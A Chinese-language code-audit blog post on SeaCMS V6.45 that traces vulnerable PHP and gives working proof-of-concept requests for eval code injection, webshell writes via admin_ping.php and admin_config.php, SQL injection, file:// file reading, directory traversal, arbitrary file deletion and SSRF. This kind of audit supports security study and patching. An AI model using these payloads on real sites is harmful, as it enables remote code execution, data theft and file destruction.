代码审计

PHP代码审计实践——SeaCMS V6.45

2022-01-20  本文已影响0人  book4yi

前言:


SeaCMS 是一套专为不同需求的站长而设计的视频点播系统,现在仍在维护。本次代码审计选择的版本是 SeaCMS 6.45。这不马上要过年了嘛,提前祝大家新年快乐,恭(红)喜(包)发(给)财(我)啊(快)!

SeaCMS:

seacms/include/common.php

//检查和注册外部提交的变量
foreach($_REQUEST as $_k=>$_v)
{
    if( strlen($_k)>0 && m_eregi('^(cfg_|GLOBALS)',$_k) && !isset($_COOKIE[$_k]) )
    {
        exit('Request var not allow!');
    }
}

function _RunMagicQuotes(&$svar)
{
    if(!get_magic_quotes_gpc())
    {
        if( is_array($svar) )
        {
            foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
        }
        else
        {
            $svar = addslashes($svar);
        }
    }
    return $svar;
}

foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
    foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}

程序禁止GPC变量为系统的全局变量或cfg_配置变量,通过GET、POST、COOKIE方式传进来的参数都会调用_RunMagicQuotes方法使用addslashes函数进行过滤处理,并且将过滤之后的值存入以键值对的键为变量名的变量中,这里发现没有对$_SERVER进行过滤,存在头部注入的可能性。

如果上传文件,会包含uploadsafe.inc.php文件:

文件上传全局处理:seacms/include/uploadsafe.inc.php

//这里强制限定的某些文件类型禁止上传
$cfg_not_allowall = "php|pl|cgi|asp|asa|cer|aspx|jsp|php3|shtm|shtml";
$keyarr = array('name','type','tmp_name','size');
foreach($_FILES as $_key=>$_value)
{
    if(!empty(${$_key.'_name'}) && (m_eregi("\.(".$cfg_not_allowall.")$",${$_key.'_name'}) || !m_ereg("\.",${$_key.'_name'})) )
    {
            exit('Upload filetype not allow !');
    }
}

通过黑名单方式禁用了很多文件后缀。

漏洞代码分析:/include\main.class.php

function parseIf($content){
    if (strpos($content,'{if:')=== false){
    return $content;
    }else{
    $labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");
    $labelRule2="{elseif";
    $labelRule3="{else}";
    preg_match_all($labelRule,$content,$iar);
    $arlen=count($iar[0]);
    $elseIfFlag=false;
    for($m=0;$m<$arlen;$m++){
        $strIf=$iar[1][$m];
        $strIf=$this->parseStrIf($strIf);
        $strThen=$iar[2][$m];
        $strThen=$this->parseSubIf($strThen);
        if (strpos($strThen,$labelRule2)===false){
            if (strpos($strThen,$labelRule3)>=0){
                $elsearray=explode($labelRule3,$strThen);
                $strThen1=$elsearray[0];
                $strElse1=$elsearray[1];
                @eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");

parseIf方法中,3118行,eval执行的语句中存在变量$strIf,若该变量用户可控,则有可能造成代码执行。接着进行逆向跟踪,先只判断是否用户可控。取$iar数组中的值赋值给$strIf,接着经过parseStrIf方法处理。3105行,$iar数组跟$content相关,接下来追踪一下parseIf(),寻找调用这个方法的文件,找到search.php:
在212行,在函数echoSearchPage()中,调用了parseIf()方法

$content=$mainClassObj->parseIf($content);

继续追踪:

if($cfg_iscache){
    if(chkFileCache($cacheName)){
        $content = getFileCache($cacheName);
    }else{
        $content = parseSearchPart($searchTemplatePath);
        setFileCache($cacheName,$content);
    }

$cfg_iscache默认为1,$content来自一个缓存文件,为搜索结果展示给用户的 HTML 页面,随后通过$page$searchword$TotalResult$order等参数对$concent进行内容的替换:

$content = str_replace("{searchpage:page}",$page,$content);
$content = str_replace("{seacms:searchword}",$searchword,$content);
$content = str_replace("{seacms:searchnum}",$TotalResult,$content);
$content = str_replace("{searchpage:ordername}",$order,$content);

而search.php第一行包含了include/common.php文件,且进行了XSS过滤:

foreach($_GET as $k=>$v)
{
    $$k=_RunMagicQuotes(gbutf8(RemoveXSS($v)));
    $schwhere.= "&$k=".urlencode($$k);
}

我们可以传入$page$searchword$TotalResult$order等参数,但$page$TotalResult只能为数值,只有$order是完全可控的。$order替换的内容是{searchpage:ordername},全局搜索发现只有cascade.html文件有相关内容。
$searchtype==5时,$content的内容来自于cascade.html:

if(intval($searchtype)==5)
{
    $searchTemplatePath = "/templets/".$GLOBALS['cfg_df_style']."/".$GLOBALS['cfg_df_html']."/cascade.html";

$content = parseSearchPart($searchTemplatePath);

接着需要尝试去构造特定的$order来实现代码注入,对parseIf方法进一步分析:

if (strpos($content,'{if:')=== false){
return $content;
}

$content必须包含{if,匹配$content的正则为:/{if:(.*?)}(.*?){end if}/is,最终匹配结果为$iar数组,其中$iar[0]包含第一次匹配得到的所有匹配(包含子组),$iar[1]$iar[2]为两个匹配子组

$strIf来自$iar[1]

for($m=0;$m<$arlen;$m++){
    $strIf=$iar[1][$m];
    $strIf=$this->parseStrIf($strIf);
@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");

尝试构造$order,使得@eval("if(1)phpinfo();if(1){$ifFlag=true;}else{$ifFlag=false;}")

POC:search.php?searchtype=5&searchword=book4yi&order=}{end if}{if:1)phpinfo();if(1}{end if}

if($action=="set")
{
    $weburl= $_POST['weburl'];
    $token = $_POST['token'];
    $open=fopen("../data/admin/ping.php","w" );
    $str='<?php ';
    $str.='$weburl = "';
    $str.="$weburl";
    $str.='"; ';
    $str.='$token = "';
    $str.="$token";
    $str.='"; ';
    $str.=" ?>";
    fwrite($open,$str);
    fclose($open);
}

当POST传入weburl参数时,会调用之前说的过滤函数,使用addslashes函数过滤weburl的值,并存入$weburl,也就是说被过滤的是$weburl变量。但是这里直接对POST传入的weburl的值存入$weburl变量,相当于对$weburl变量进行二次赋值,重新赋值的$weburl变量没有经过任何过滤,直接写入到ping.php中,造成RCE

POST /admin/admin_ping.php?action=set
weburl=test";system($_GET['cmd']);//&token=123456

$configfile = sea_DATA.'/config.cache.inc.php';
if($dopost=="save")
{
    foreach($_POST as $k=>$v)
    {
        if(m_ereg("^edit___",$k))
        {
            if(is_array($$k))
                $v = cn_substr(str_replace("'","\'",str_replace("\\","\\\\",stripslashes(implode(',',$$k)))),500); 
            else
                $v = cn_substr(str_replace("'","\'",str_replace("\\","\\\\",stripslashes(${$k}))),500); 
        }
        else
        {
            continue;
        }
        $k = m_ereg_replace("^edit___","",$k);
        $configstr .="\${$k} = '$v';\r\n";
    $fp = fopen($configfile,'w');
    flock($fp,3);
    fwrite($fp,"<"."?php\r\n");
    fwrite($fp,$configstr);
    fwrite($fp,"?".">");
    fclose($fp);
    }

$dopost=="save",首先会判断POST传入的参数是否以edit___开头,若不是则跳过当前循环的剩余语句,这里将单引号和反斜线进行了转义处理,最后将从带有 POST 方法的表单发送的信息写入到config.cache.inc.php文件中,这里虽然对单引号进行了转义处理,但并没有对参数本身进行过滤,所以可以构造如下数据包:

POST /seacms/admin/admin_config.php?dopost=save HTTP/1.1
edit___book4yi;system('ipconfig');//=1

查看文件是否成功写入恶意代码:

后面只需要访问包含该文件的页面即可触发RCE:

elseif($action=="checkrepeat")
{
    $v_name=iconv('utf-8','utf-8',$_GET["v_name"]); 
    $row=$dsql->GetOne("select count(*) as dd from sea_data where v_name='$v_name'");
    $num=$row['dd'];
    if($num==0){echo "ok";}else{echo "err";}
}

此处包含了config.phpconfig.php又包含了/include/common.php,会对通过GET、POST、COOKIE方式传进来的参数都会调用_RunMagicQuotes方法使用addslashes函数进行转义处理,这里同样是存在二次赋值的问题,最后导致了SQL注入的问题。

POC:admin/admin_ajax.php?action=checkrepeat&v_name=4444444444'+and+extractvalue(1,concat(0x7e,(select+@@version),0x7e))%23

漏洞代码分析:seacms/admin/admin_collect.php

if($action=="addrule")
{
    if($step==2){
        if(empty($itemname))
        {
            ShowMsg("请填写采集名称!","-1");
            exit();
        }
        include(sea_ADMIN.'/templets/admin_collect_ruleadd2.htm');

seacms/admin/templets/admin_collect_ruleadd2.htm

<textarea id="htmlcode" style="width:99%;height:200px;font-family:Fixedsys" wrap="off" readonly=readonly><?php 
            $content = !empty($showcode)?@file_get_contents($siteurl):'';
            $content = $coding=='gb2312'?gbutf8($content):$content;
            if(!$content) echo "读取URL出错";
            echo $showcode;
            echo htmlspecialchars($content);
            ?></textarea>

!empty($showcode)则该htm文件通过file_get_contents()读取$siteurl的内容,并将其输出。由于是htm文件,需要找到包含该文件的地方,全局搜索包含admin_collect_ruleadd2.htm的文件,发现admin_collect_news.php和admin_collect.php都包含了该文件

POC:/admin/admin_collect.php?action=addrule&step=2&id=0&itemname=test123&siteurl=file://c:/windows/win.ini&showcode=1

在访问模板管理处,看到了这样的页面:

闻到了目录穿越的味道,漏洞代码分析:seacms/admin/admin_template.php

else
{
    if(empty($path)) $path=$dirTemplate; else $path=strtolower($path);
    if(substr($path,0,11)!=$dirTemplate){
        ShowMsg("只允许编辑templets目录!","admin_template.php");
        exit;
    }
    $flist=getFolderList($path);
    include(sea_ADMIN.'/templets/admin_template.htm');
    exit();
}
?>

同样只限制了前11位字符,未作其他限制,辣么就可以浏览操作系统中存在哪些文件,然后配合任意文件读取/删除造杀伤:

漏洞代码分析:seacms/admin/admin_template.php

$dirTemplate="../templets";
if($action=='edit')
{
    if(substr(strtolower($filedir),0,11)!=$dirTemplate){
        ShowMsg("只允许编辑templets目录!","admin_template.php");
        exit;
    }
    $filetype=getfileextend($filedir);
    if ($filetype!="html" && $filetype!="htm" && $filetype!="js" && $filetype!="css" && $filetype!="txt")
    {
        ShowMsg("操作被禁止!","admin_template.php");
        exit;
    }
    $filename=substr($filedir,strrpos($filedir,'/')+1,strlen($filedir)-1);
    $content=loadFile($filedir);

# /include/common.func.php
function loadFile($filePath)
{
    if(!file_exists($filePath)){
        echo "模版文件读取失败!";
        exit();
    }
    $fp = @fopen($filePath,'r');
    $sourceString = @fread($fp,filesize($filePath));
    @fclose($fp);
    return $sourceString;
}

判断截取了$filedir的前十一个字符是否为../templets,通过getfileextend函数获取后缀名,对其文件后缀进行了白名单限制,最后通过loadFile函数读取文件,但只能读取html、js、txt、css等文件

POC:/admin/admin_template.php?action=edit&filedir=../templets/default/html/block_header.html

漏洞代码分析:seacms/admin/admin_database.php

elseif($action=="redat")
{
    $bkdir = sea_DATA.'/'.$cfg_backup_dir;
    $bakfilesTmp = $bakfiles;
    $bakfiles = explode(',',$bakfiles);
    $structfile = "seacms_tables_struct_".str_replace("seacms_data_","",$bakfiles[0]);
    if($redStruct!='' && file_exists("$bkdir/$structfile"))
    {
        if($delfile==1)
        {
            @unlink("$bkdir/$structfile");
        }
    }

这里并没有对 ./进行过滤,可以通过目录穿越删除任意文件:

POC:
/admin/admin_database.php?action=redat&bakfiles=../../test_delete.php,123.txt&delfile=1

POC:/admin/admin_template.php?action=del&filedir=../templets/../888.txt

elseif($action=='del')
{
    if($filedir == '')
    {
        ShowMsg('未指定要删除的文件或文件名不合法', '-1');
        exit();
    }
    if(substr(strtolower($filedir),0,11)!=$dirTemplate){
        ShowMsg("只允许删除templets目录内的文件!","admin_template.php");
        exit;
    }
    $folder=substr($filedir,0,strrpos($filedir,'/'));
    if(!is_dir($folder)){
        ShowMsg("目录不存在!","admin_template.php");
        exit;
    }
    unlink($filedir);

漏洞代码分析:/admin/admin_reslib.php

$backurl=isset($backurl)?$backurl:"admin_reslib.php";
$var_url=$url;

elseif($action=="select")
{
    if(empty($ids))
    {
        ShowMsg("请选择采集数据","-1");
        exit();
    }
    $a_ids = implode(',',$ids);
    if($rid==32)
    {
        $weburl=$var_url."?s=plus-api-xml-cms-max-vodids-".$a_ids;
    }
    else
    {
        $weburl=$var_url.(strpos($var_url,'?')!==false?"&":"?")."ac=videolist&ressite=".$ressite."&ids=".$a_ids;
    }
    intoDatabase($weburl,"select");
}

继续追踪intoDatabase函数:

function intoDatabase($url,$gtype)
{
    global $dsql,$col,$cfg_gatherset,$backurl,$gatherWaitTime,$ressite,$var_url,$action,$isref,$pg;
    $content=cget($url,$isref);
function cget($url,$isref){
    if($isref=='1'){return getRemoteContent($url);}else{return get($url);}
}
function getRemoteContent($url,$conall=null)
{
    $purl = parse_url($url);
    $host = $purl['host'];
    $path = $purl['path'];
    $port = empty($purl['port']) ? 80 : $purl['port'];
    
    if (isset($purl['query']))
        $path.='?'.$purl['query'];
    $fp = fsockopen($host, $port, $errno, $errstr, 10);
    if (!$fp) {
        return false;
    } else {
        $out = "GET $path HTTP/1.1\r\n";
        $out.= "Accept: */*\r\n";
        $out.= "Accept-Language: zh-cn\r\n";
        $out.= "Referer: http://$host\r\n";
        $out.= "User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)\r\n";
        $out.= "Host: $host\r\n";
        $out.= "Connection: Close\r\n";
        $out.="\r\n";
        fwrite($fp, $out);
        while (!feof($fp)) {
            $con.= fgets($fp, 1024);
        }
        fclose($fp);
    }

    if ($conall==null)
    {
        $tmp = explode("\r\n\r\n",$con,2);
        $con = $tmp[1];
    }
    return $con;
}

POC:/admin/admin_reslib.php?action=select&ids=1,2&url=http://wyy5qnivs98y3um3frsoh0jkhbn1bq.burpcollaborator.net&backurl=https://www.baidu.com

漏洞代码分析:/admin/admin_webgather.php

else if($action=='gather'){
    else if(strpos($url,"youku.com")>0)
    {
else{
            $pageStr = get($url);
            preg_match_all("/\<meta name=\"title\" content=\"(.*?)\"\>/",$pageStr,$title);
            preg_match_all("/var videoId = '(\d{3,}?)'/",$pageStr,$guid);
            $result = $result.$title[1][0].'$'.$guid[1][0].'$youku';
            echo $result;
        }
    }

# /include/common.func.php
function get($url)
{
    return @file_get_contents($url);
}

POC:/admin/admin_webgather.php?action=gather&url=http://192.168.107.129:8000/?id=youku.com

上一篇下一篇

猜你喜欢

热点阅读